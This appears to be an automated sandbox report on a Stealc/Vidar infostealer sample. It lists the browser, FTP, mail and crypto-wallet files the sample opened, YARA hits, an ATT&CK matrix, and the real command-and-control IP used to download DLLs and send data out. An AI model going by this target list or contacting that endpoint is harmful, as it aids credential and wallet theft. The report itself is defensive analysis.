Source: MSBuild.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: MSBuild.exe	String found in binary or memory: Ethereum
Source: MSBuild.exe	String found in binary or memory: file__0.localstorage
Source: MSBuild.exe	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: MSBuild.exe	String found in binary or memory: \Exodus\exodus.wallet\
Source: MSBuild.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: MSBuild.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: MSBuild.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: MSBuild.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000004.00000002.2180750982.0000000000D87000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 6904, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.CR0QGWXdDl.exe.720000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.CR0QGWXdDl.exe.74cae0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.CR0QGWXdDl.exe.74cae0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.2180750982.0000000000D47000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1752857321.000000000074C000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 6904, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: MSBuild.exe PID: 6904, type: MEMORYSTR

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CDB0C40 sqlite3_bind_zeroblob,	4_2_6CDB0C40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CDB0D60 sqlite3_bind_parameter_name,	4_2_6CDB0D60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CCD8EA0 sqlite3_clear_bindings,	4_2_6CCD8EA0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	411 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	22 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	2 Obfuscated Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Software Packing	NTDS	144 System Information Discovery	Distributed Component Object Model	1 Email Collection	113 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	31 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	1 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Virtualization/Sandbox Evasion	DCSync	12 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	411 Process Injection	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
CR0QGWXdDl.exe	42%	Virustotal		Browse
CR0QGWXdDl.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Link
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\freebl3.dll	0%	Virustotal	Browse
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	Virustotal	Browse
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	Virustotal	Browse
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	Virustotal	Browse
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	Virustotal	Browse
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	0%	Virustotal	Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
fp2e7a.wpc.phicdn.net	0%	Virustotal		Browse
s-part-0032.t-0009.t-msedge.net	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
http://46.8.231.109/c4754d4f680ead72.php	100%	URL Reputation	malware
http://46.8.231.109/1309cdeb8f4c8736/msvcp140.dll	100%	URL Reputation	malware
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://46.8.231.109/	100%	URL Reputation	malware
http://46.8.231.109/1309cdeb8f4c8736/nss3.dll	100%	URL Reputation	malware
http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll	100%	URL Reputation	malware
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK201621kbG1nY	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	0%	URL Reputation	safe
http://46.8.231.109/1309cdeb8f4c8736/vcruntime140.dll	100%	URL Reputation	malware
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://46.8.231.109/1309cdeb8f4c8736/freebl3.dll	100%	URL Reputation	malware
http://upx.sf.net	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
http://46.8.231.109	100%	URL Reputation	malware
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
http://46.8.231.109/1309cdeb8f4c8736/mozglue.dll	100%	URL Reputation	malware
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
http://46.8.231.109/1309cdeb8f4c8736/sqlite3.dll	100%	URL Reputation	malware
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://46.8.231.109/c4754d4f680ead72.phpD	17%	Virustotal		Browse
http://www.mozilla.com/en-US/blocklist/	0%	Virustotal		Browse
http://46.8.231.109/c4754d4f680ead72.phpF	18%	Virustotal		Browse
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	0%, Virustotal, Browse	unknown
s-part-0032.t-0009.t-msedge.net	13.107.246.60	true	false	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://46.8.231.109/c4754d4f680ead72.php	true	URL Reputation: malware	unknown
http://46.8.231.109/1309cdeb8f4c8736/msvcp140.dll	true	URL Reputation: malware	unknown
http://46.8.231.109/	true	URL Reputation: malware	unknown
http://46.8.231.109/1309cdeb8f4c8736/nss3.dll	true	URL Reputation: malware	unknown
http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll	true	URL Reputation: malware	unknown
http://46.8.231.109/1309cdeb8f4c8736/vcruntime140.dll	true	URL Reputation: malware	unknown
http://46.8.231.109/1309cdeb8f4c8736/freebl3.dll	true	URL Reputation: malware	unknown
http://46.8.231.109/1309cdeb8f4c8736/mozglue.dll	true	URL Reputation: malware	unknown
http://46.8.231.109/1309cdeb8f4c8736/sqlite3.dll	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	EHCBAAAF.4.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	KKJKFBKKECFHJKEBKEHIDAEBKF.4.dr	false	URL Reputation: safe URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF	MSBuild.exe, 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	EHCBAAAF.4.dr	false	URL Reputation: safe	unknown
http://46.8.231.109/?	MSBuild.exe, 00000004.00000002.2180750982.0000000000D87000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://46.8.231.109/c4754d4f680ead72.phpry=----IEHCBAFIDAECBGCBFHJEultrelease	MSBuild.exe, 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	true		unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	MSBuild.exe, 00000004.00000002.2199521510.0000000027032000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2180750982.0000000000DA2000.00000004.00000020.00020000.00000000.sdmp, AFHDAKJKFCFBGCBGDHCB.4.dr	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	EHCBAAAF.4.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	MSBuild.exe, 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e171	MSBuild.exe, 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	AFHDAKJKFCFBGCBGDHCB.4.dr	false		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	EHCBAAAF.4.dr	false	URL Reputation: safe	unknown
http://46.8.231.109AZ	MSBuild.exe, 00000004.00000002.2180750982.0000000000D47000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	MSBuild.exe, 00000004.00000002.2199521510.0000000027032000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2180750982.0000000000DA2000.00000004.00000020.00020000.00000000.sdmp, AFHDAKJKFCFBGCBGDHCB.4.dr	false		unknown
http://46.8.231.109/c4754d4f680ead72.phpF	MSBuild.exe, 00000004.00000002.2180750982.0000000000DA2000.00000004.00000020.00020000.00000000.sdmp	true	18%, Virustotal, Browse	unknown
http://www.sqlite.org/copyright.html.	MSBuild.exe, 00000004.00000002.2193256985.000000001AFB1000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2203662201.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://46.8.231.109/c4754d4f680ead72.phpD	MSBuild.exe, 00000004.00000002.2180750982.0000000000DA2000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2180750982.0000000000D87000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://www.mozilla.com/en-US/blocklist/	MSBuild.exe, MSBuild.exe, 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.4.dr, mozglue.dll.4.dr	false	0%, Virustotal, Browse	unknown
https://mozilla.org0/	mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.4.dr, nss3.dll.4.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK201621kbG1nY	MSBuild.exe, 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://46.8.231.109/1309cdeb8f4c8736/mozglue.dllsi9	MSBuild.exe, 00000004.00000002.2180750982.0000000000DA2000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	MSBuild.exe, 00000004.00000002.2199521510.0000000027032000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2180750982.0000000000DA2000.00000004.00000020.00020000.00000000.sdmp, AFHDAKJKFCFBGCBGDHCB.4.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	EHCBAAAF.4.dr	false	0%, Virustotal, Browse	unknown
http://46.8.231.109/c4754d4f680ead72.phpoinomi	MSBuild.exe, 00000004.00000002.2180750982.0000000000DA2000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV	MSBuild.exe, 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	EHCBAAAF.4.dr	false	URL Reputation: safe	unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	MSBuild.exe, 00000004.00000002.2199521510.0000000027032000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2180750982.0000000000DA2000.00000004.00000020.00020000.00000000.sdmp, AFHDAKJKFCFBGCBGDHCB.4.dr	false		unknown
http://upx.sf.net	Amcache.hve.5.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	MSBuild.exe, MSBuild.exe, 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm	MSBuild.exe, 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://46.8.231.109/1309cdeb8f4c8736/freebl3.dllSf	MSBuild.exe, 00000004.00000002.2180750982.0000000000DA2000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://www.ecosia.org/newtab/	EHCBAAAF.4.dr	false	URL Reputation: safe	unknown
